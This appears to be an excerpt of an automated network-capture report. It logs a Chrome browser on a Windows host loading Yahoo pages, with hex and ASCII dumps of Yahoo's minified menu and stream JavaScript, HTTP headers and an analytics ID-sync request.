2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 73 65 20 41 66 73 68 61 72 2c 20 43 4e 4e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 63 61 61 73 2d 61 74 74 72 2d 74 69 6d 65 2d 73 74 79 6c 65 3e 3c 74 69 6d 65 20 63 6c 61 73 73 3d 63 61 61 73 2d 61 74 74 72 2d 6d 65 74 61 2d 74 69 6d 65 20 64 61 74 65 54 69 6d 65 3d 32 30 32 34 2d 30 34 2d 32 37 54 31 37 3a 31 33 3a 31 37 2e 30 30 30 5a 3e 41 70 72 69 6c 20 32 37 2c 20 32 30 32 34 20 61 74 20 31 3a 31 33 20 50 4d 3c 2f 74 69 6d 65 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 63 61 61 73 2d 61 74 74 72 2d 6d 65 74 61 2d 73 65 70 61 72 61 74 6f 72 3e 26 23 31 38 33 3b 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 63 61 61 73 2d 61 74 74 72 2d 6d 69 6e 73 2d 72 65 61 64 3e 32 20 6d 69 6e 20 72 65 61 64 3c 2f 73 70 61 6e Data Ascii: se Afshar, CNN</span></div><div class=caas-attr-time-style><time class=caas-attr-meta-time dateTime=2024-04-27T17:13:17.000Z>April 27, 2024 at 1:13 PM</time><span class=caas-attr-meta-separator>·</span><span class=caas-attr-mins-read>2 min read</span

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	49871	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:53 UTC	537	OUT	GET /aaq/wf/wf-menu-1.3.0-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:54 UTC	827	IN	HTTP/1.1 200 OK x-amz-id-2: 3Z4uHnCwgDDKU7HZTHqfvOxpiRuneFklr85PQTqflRKsKdusxx/JW/uibRP9BmJPCShltgtg/G4= x-amz-request-id: DF9S9Y777P360F89 Date: Sat, 27 Apr 2024 22:29:48 GMT Last-Modified: Tue, 14 Nov 2023 00:39:45 GMT ETag: "76aeb54211fca21ec7f4f9a39b1d88d1" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: BhLpL.WQZsmgJZIKchhrGPJ9SR5h0N22 Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 8333 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 727 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 6d 65 6e 75 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 6d 65 6e 75 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 7c 7c 7b 7d 2c 65 Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-menu",[],t):"object"==typeof exports?exports["wafer-menu"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 2c 74 29 3a 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 74 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 74 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 73 20 61 73 20 61 20 66 75 6e 63 Data Ascii: ype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}function a(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a func
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 28 76 6f 69 64 20 30 3d 3d 3d 6f 29 7b 76 61 72 20 69 3d 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 29 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 3d 69 3f 76 6f 69 64 20 30 3a 65 28 69 2c 6e 2c 72 29 7d 69 66 28 22 76 61 6c 75 65 22 69 6e 20 6f 29 72 65 74 75 72 6e 20 6f 2e 76 61 6c 75 65 3b 76 61 72 20 61 3d 6f 2e 67 65 74 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 61 29 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 72 29 7d 2c 76 3d 77 69 6e 64 6f 77 2e 77 61 66 65 72 2c 70 3d 76 2e 62 61 73 65 2c 6d 3d 76 2e 63 6f 6e 73 74 61 6e 74 73 2c 68 3d 76 2e 57 61 66 65 72 42 61 73 65 43 6c 61 73 73 2c 64 3d 76 2e 75 74 69 6c 73 2c 79 3d 64 2e 63 6f 6e 76 65 72 74 4e 6f 64 65 4c 69 73 74 54 6f 41 72 72 61 79 2c 62 3d 6d 2e 41 54 54 52 5f 50 52 Data Ascii: (void 0===o){var i=Object.getPrototypeOf(t);return null===i?void 0:e(i,n,r)}if("value"in o)return o.value;var a=o.get;if(void 0!==a)return a.call(r)},v=window.wafer,p=v.base,m=v.constants,h=v.WaferBaseClass,d=v.utils,y=d.convertNodeListToArray,b=m.ATTR_PR
2024-04-27 22:41:54 UTC	1179	IN	Data Raw: 69 2e 69 64 3b 70 26 26 73 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 63 6f 6e 74 72 6f 6c 73 22 2c 70 29 3b 76 61 72 20 6d 3d 73 2e 69 64 3b 72 65 74 75 72 6e 20 6d 26 26 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 6c 61 62 65 6c 6c 65 64 62 79 22 2c 6d 29 2c 6e 7d 72 65 74 75 72 6e 20 69 28 74 2c 65 29 2c 63 28 74 2c 5b 7b 6b 65 79 3a 22 6f 70 65 6e 4d 65 6e 75 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 30 5d 2c 74 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 6e 3d 74 2e 61 63 74 69 76 65 43 6c 61 73 73 2c 72 3d 74 2e 65 6c 65 6d 2c 6f 3d Data Ascii: i.id;p&&s.setAttribute("aria-controls",p);var m=s.id;return m&&i.setAttribute("aria-labelledby",m),n}return i(t,e),c(t,[{key:"openMenu",value:function(){var e=arguments.length>0&&void 0!==arguments[0]&&arguments[0],t=this._util,n=t.activeClass,r=t.elem,o=
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 63 75 73 28 7b 70 72 65 76 65 6e 74 53 63 72 6f 6c 6c 3a 21 30 7d 29 2c 70 2e 65 6d 69 74 57 61 66 65 72 45 76 65 6e 74 28 22 6d 65 6e 75 3a 63 6c 6f 73 65 22 2c 7b 65 6c 65 6d 3a 6e 2c 6d 65 74 61 3a 7b 7d 7d 29 7d 7d 2c 7b 6b 65 79 3a 22 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 66 28 74 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 2e 70 72 6f 74 6f 74 79 70 65 29 2c 22 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 22 2c 74 68 69 73 29 2e 63 61 6c 6c 28 74 68 69 73 29 7d 7d 2c 7b 6b 65 79 3a 22 6d 65 6e 75 43 6c 69 63 6b 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 Data Ascii: cus({preventScroll:!0}),p.emitWaferEvent("menu:close",{elem:n,meta:{}})}},{key:"addEventListeners",value:function(){f(t.prototype.__proto__\|\|Object.getPrototypeOf(t.prototype),"addEventListeners",this).call(this)}},{key:"menuClick",value:function(e){var t
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 6c 74 28 29 3b 76 61 72 20 74 3d 74 68 69 73 2e 5f 75 74 69 6c 2e 6d 65 6e 75 42 75 74 74 6f 6e 73 2c 6e 3d 74 2e 69 6e 64 65 78 4f 66 28 74 68 69 73 2e 5f 73 74 61 74 65 2e 61 63 74 69 76 65 45 6c 65 6d 29 3b 30 3d 3d 3d 6e 26 26 28 6e 3d 74 2e 6c 65 6e 67 74 68 29 3b 76 61 72 20 72 3d 74 5b 6e 2d 31 5d 3b 74 68 69 73 2e 5f 73 74 61 74 65 2e 61 63 74 69 76 65 45 6c 65 6d 3d 72 2c 72 26 26 72 2e 66 6f 63 75 73 28 29 7d 7d 2c 7b 6b 65 79 3a 22 6d 6f 75 73 65 4f 76 65 72 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 74 68 69 73 2e 5f 73 74 61 74 65 2e 61 63 74 69 76 65 29 7b 74 68 69 73 2e 5f 75 74 69 6c 2e 73 68 6f 75 6c 64 41 63 74 69 76 61 74 65 4f 6e 48 6f 76 65 72 26 26 74 68 69 73 2e 6f 70 65 6e 4d 65 6e 75 28 21 30 29 7d 7d Data Ascii: lt();var t=this._util.menuButtons,n=t.indexOf(this._state.activeElem);0===n&&(n=t.length);var r=t[n-1];this._state.activeElem=r,r&&r.focus()}},{key:"mouseOver",value:function(e){if(!this._state.active){this._util.shouldActivateOnHover&&this.openMenu(!0)}}
2024-04-27 22:41:54 UTC	654	IN	Data Raw: 3d 65 2e 72 6f 6f 74 2c 69 3d 76 6f 69 64 20 30 3d 3d 3d 6f 3f 64 6f 63 75 6d 65 6e 74 3a 6f 2c 75 3d 65 2e 73 65 6c 65 63 74 6f 72 3b 61 28 74 68 69 73 2c 74 29 3b 76 61 72 20 6c 3d 73 28 74 68 69 73 2c 28 74 2e 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 29 29 2e 63 61 6c 6c 28 74 68 69 73 2c 7b 72 6f 6f 74 3a 69 2c 73 65 6c 65 63 74 6f 72 3a 75 2c 57 61 66 65 72 43 6c 61 73 73 3a 45 7d 29 29 2c 63 3d 6c 3b 72 65 74 75 72 6e 20 45 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 6f 73 65 4f 74 68 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 5f 75 74 69 6c 2e 65 6c 65 6d 2c 74 3d 63 2e 5f 73 74 61 74 65 2e 65 6c 65 6d 65 6e 74 49 6e 73 74 61 6e 63 65 73 2c 6e 3d 21 30 2c 72 Data Ascii: =e.root,i=void 0===o?document:o,u=e.selector;a(this,t);var l=s(this,(t.__proto__\|\|Object.getPrototypeOf(t)).call(this,{root:i,selector:u,WaferClass:E})),c=l;return E.prototype.closeOthers=function(){var e=this._util.elem,t=c._state.elementInstances,n=!0,r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	49872	34.200.65.202	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:53 UTC	1188	OUT	GET /ups/58834/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; IDSYNC="19cw~2i3y:19e0~2i3y:19e7~2i3y"; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A
2024-04-27 22:41:54 UTC	571	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:41:54 GMT Content-Type: application/json Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: https://www.yahoo.com Access-Control-Allow-Credentials: true Set-Cookie: IDSYNC="19cw~2i3y:19e0~2i3y:19e7~2i3y:19ea~2i3y";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Sun, 27-Apr-2025 22:41:54 GMT;Secure;SameSite=None Vary: Origin P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Age: 0 Transfer-Encoding: chunked Connection: close Server: ATS/9.1.10.112
2024-04-27 22:41:54 UTC	54	IN	Data Raw: 33 30 0d 0a 7b 22 61 78 69 64 22 3a 20 22 79 2d 4a 42 66 53 6d 37 46 45 32 75 4b 41 76 4c 7a 38 6a 31 57 48 51 6b 37 30 53 37 44 6b 48 64 73 6f 7e 41 22 7d 0d 0a Data Ascii: 30{"axid": "y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A"}
2024-04-27 22:41:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	49873	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:54 UTC	585	OUT	GET /aaq/fp/js/react-wafer-stream.custom.modern.1ed4fe71b1fc647ddbf37a7050944309.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:54 UTC	827	IN	HTTP/1.1 200 OK x-amz-id-2: szGetziFXp9lUEPRdBv9bmRcIeatHzR/XHUvnmUizgaWpRdDr0MnslxQRmGk/7VNX34GlKf/Slk= x-amz-request-id: 7P3EFWB1XS4ATKR9 Date: Sat, 27 Apr 2024 22:29:54 GMT Last-Modified: Sat, 02 Dec 2023 00:17:32 GMT ETag: "1ed4fe71b1fc647ddbf37a7050944309" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: xy7lqotFC.zmCqihzzE4iOckpJX.wEX6 Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 8254 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 721 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:54 UTC	768	IN	Data Raw: 77 69 6e 64 6f 77 2e 77 61 66 65 72 26 26 77 69 6e 64 6f 77 2e 77 61 66 65 72 2e 72 65 61 64 79 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 22 73 68 6f 77 2d 64 72 61 77 65 72 22 2c 74 3d 6e 75 6c 6c 2c 61 3d 6e 75 6c 6c 2c 72 3d 22 77 61 66 65 72 2d 66 65 74 63 68 2d 65 72 72 6f 72 22 2c 69 3d 22 77 61 66 65 72 2d 66 65 74 63 68 2d 63 6f 6d 70 6c 65 74 65 22 2c 6e 3d 22 73 74 72 65 61 6d 2d 72 65 6c 61 74 65 64 2d 64 72 61 77 65 72 22 2c 6f 3d 22 53 74 72 65 61 6d 52 65 6c 61 74 65 64 22 2c 73 3d 22 72 65 61 63 74 2d 77 61 66 65 72 2d 73 74 72 65 61 6d 22 2c 63 3d 22 6a 73 6f 6e 22 2c 64 3d 22 77 61 66 65 72 2d 66 65 74 63 68 22 2c 6c 3d 22 73 74 72 65 61 6d 2d 75 75 69 64 2d 6c 69 73 74 22 2c 75 3d 5b 5d 2c 77 3d 64 6f 63 75 6d 65 6e 74 2e Data Ascii: window.wafer&&window.wafer.ready((function(){var e="show-drawer",t=null,a=null,r="wafer-fetch-error",i="wafer-fetch-complete",n="stream-related-drawer",o="StreamRelated",s="react-wafer-stream",c="json",d="wafer-fetch",l="stream-uuid-list",u=[],w=document.
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 28 29 7c 7c 6e 26 26 30 21 3d 3d 6e 2e 6c 65 6e 67 74 68 29 73 65 74 54 69 6d 65 6f 75 74 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 65 28 74 29 7d 29 2c 35 30 30 29 3b 65 6c 73 65 7b 69 66 28 21 72 2e 68 26 26 21 72 2e 77 29 7b 76 61 72 20 6f 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 6d 2a 67 5b 69 5d 29 2c 73 3d 7b 66 6c 65 78 3a 7b 68 3a 7b 6d 69 6e 3a 6f 7d 2c 77 3a 7b 6d 69 6e 3a 6d 7d 7d 2c 68 3a 6f 2c 77 3a 6d 7d 3b 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 72 2c 73 29 7d 76 61 72 20 63 3d 72 2e 69 64 3b 77 69 6e 64 6f 77 2e 44 41 52 4c 41 2e 61 64 64 50 6f 73 28 72 29 3b 76 61 72 20 64 3d 6e 65 77 20 77 69 6e 64 6f 77 2e 44 41 52 4c 41 2e 52 65 73 70 6f 6e 73 65 28 63 2c 7b 7d 29 3b 61 3d 75 6e 65 73 63 61 70 65 28 61 29 2c 64 2e 61 64 64 28 63 2c 61 29 2c Data Ascii: ()\|\|n&&0!==n.length)setTimeout((function(){e(t)}),500);else{if(!r.h&&!r.w){var o=Math.floor(m*g[i]),s={flex:{h:{min:o},w:{min:m}},h:o,w:m};Object.assign(r,s)}var c=r.id;window.DARLA.addPos(r);var d=new window.DARLA.Response(c,{});a=unescape(a),d.add(c,a),
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 75 72 6c 22 29 3b 69 66 28 69 26 26 69 2e 69 6e 63 6c 75 64 65 73 28 22 72 65 61 63 74 2d 77 61 66 65 72 2d 73 74 72 65 61 6d 22 29 29 7b 41 2e 63 6f 6e 76 65 72 74 4e 6f 64 65 4c 69 73 74 54 6f 41 72 72 61 79 28 77 29 2e 69 6e 63 6c 75 64 65 73 28 74 29 7c 7c 28 77 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 2e 73 74 72 65 61 6d 2d 69 74 65 6d 73 22 29 2c 4c 28 29 29 7d 7d 7d 7d 29 29 3b 76 61 72 20 76 3d 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 76 61 72 20 61 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 31 36 2a 6d 2f 39 29 2c 72 3d 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 23 64 65 66 61 75 6c 74 52 45 53 45 52 56 45 4d 4f 4d 45 4e 54 53 22 29 2c 69 3d 72 26 26 72 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 Data Ascii: url");if(i&&i.includes("react-wafer-stream")){A.convertNodeListToArray(w).includes(t)\|\|(w=document.querySelectorAll(".stream-items"),L())}}}}));var v=function e(t){var a=Math.floor(16*m/9),r=t.querySelector("#defaultRESERVEMOMENTS"),i=r&&r.getAttribute("d
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 28 74 29 29 29 29 7d 29 29 2c 6c 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 63 6c 69 63 6b 22 2c 28 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 21 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2e 69 6e 64 65 78 4f 66 28 22 66 75 6e 63 74 65 73 74 3d 31 22 29 3e 2d 31 26 26 6c 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 76 61 72 20 75 3d 6c 2e 74 61 72 67 65 74 3b 69 66 28 21 41 7c 7c 21 75 29 72 65 74 75 72 6e 3b 76 61 72 20 77 3d 41 2e 66 69 6e 64 41 6e 63 65 73 74 6f 72 28 75 2c 22 6a 73 2d 63 6f 6e 74 65 6e 74 2d 76 69 65 77 65 72 22 29 3b 69 66 28 21 77 29 72 65 74 75 72 6e 3b 76 61 72 20 6d 3d 41 2e 66 69 6e 64 41 6e 63 65 73 74 6f 72 28 77 2c 22 73 74 72 65 61 6d 2d 63 6c 75 73 74 65 Data Ascii: (t))))})),l.addEventListener("click",(function(l){!function(l){window.location.href.indexOf("functest=1")>-1&&l.preventDefault();var u=l.target;if(!A\|\|!u)return;var w=A.findAncestor(u,"js-content-viewer");if(!w)return;var m=A.findAncestor(w,"stream-cluste
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 2d 62 6f 64 79 22 2c 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 4c 29 29 2c 61 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 72 2c 69 29 2c 61 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 64 29 2c 77 69 6e 64 6f 77 2e 77 61 66 65 72 2e 62 61 73 65 2e 73 79 6e 63 28 61 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7d 7d 7d 28 6c 29 7d 29 29 3b 76 61 72 20 75 3d 6c 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 2e 22 2b 66 2b 22 2c 20 2e 22 2b 66 2b 22 2d 6d 6f 6e 22 29 3b 69 66 28 75 2e 6c 65 6e 67 74 68 29 7b 41 2e 63 6f 6e 76 65 72 74 4e 6f 64 65 4c 69 73 74 54 6f 41 72 72 61 79 28 75 29 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 63 6c 61 73 73 4c 69 73 74 26 26 65 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 Data Ascii: -body",JSON.stringify(L)),a.classList.remove(r,i),a.classList.add(d),window.wafer.base.sync(a.parentNode)}}}(l)}));var u=l.querySelectorAll("."+f+", ."+f+"-mon");if(u.length){A.convertNodeListToArray(u).forEach((function(e){e.classList&&e.classList.contai
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 28 22 64 61 74 61 2d 76 69 64 65 6f 2d 71 75 61 72 74 69 6c 65 2d 35 30 22 29 2c 62 2e 71 75 61 72 74 69 6c 65 41 63 74 69 6f 6e 55 72 6c 37 35 3d 79 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 76 69 64 65 6f 2d 71 75 61 72 74 69 6c 65 2d 37 35 22 29 2c 62 2e 71 75 61 72 74 69 6c 65 41 63 74 69 6f 6e 55 72 6c 31 30 30 3d 79 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 76 69 64 65 6f 2d 71 75 61 72 74 69 6c 65 2d 31 30 30 22 29 7d 79 26 26 4e 26 26 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 73 63 72 6f 6c 6c 22 2c 41 2e 74 68 72 6f 74 74 6c 65 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 4e 26 26 4e 2e 64 75 72 61 74 69 6f 6e 2c 74 3d 79 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 Data Ascii: ("data-video-quartile-50"),b.quartileActionUrl75=y.getAttribute("data-video-quartile-75"),b.quartileActionUrl100=y.getAttribute("data-video-quartile-100")}y&&N&&window.addEventListener("scroll",A.throttle((function(){var e=N&&N.duration,t=y.getBoundingCli
2024-04-27 22:41:54 UTC	986	IN	Data Raw: 20 72 3d 74 2c 69 3d 61 26 26 21 21 61 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 22 73 74 72 65 61 6d 2d 72 65 61 6c 74 65 64 2d 6c 69 73 74 22 29 5b 30 5d 3b 21 72 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 65 29 26 26 69 26 26 28 72 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 64 72 61 77 65 72 2d 62 65 61 63 6f 6e 22 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 65 29 7d 29 2c 31 30 29 29 2c 61 3d 6e 75 6c 6c 2c 74 3d 6e 75 6c 6c 7d 7d 29 29 3b 77 69 6e 64 6f 77 2e 77 61 66 65 72 2e 6f 6e 28 22 76 69 64 65 6f 3a 61 64 70 6c 61 79 62 61 63 6b 73 74 61 72 74 22 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 2e 65 6c 65 6d Data Ascii: r=t,i=a&&!!a.getElementsByClassName("stream-realted-list")[0];!r.classList.contains(e)&&i&&(r.classList.add("drawer-beacon"),setTimeout((function(){r.classList.add(e)}),10)),a=null,t=null}}));window.wafer.on("video:adplaybackstart",(function(e){e&&e.elem

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
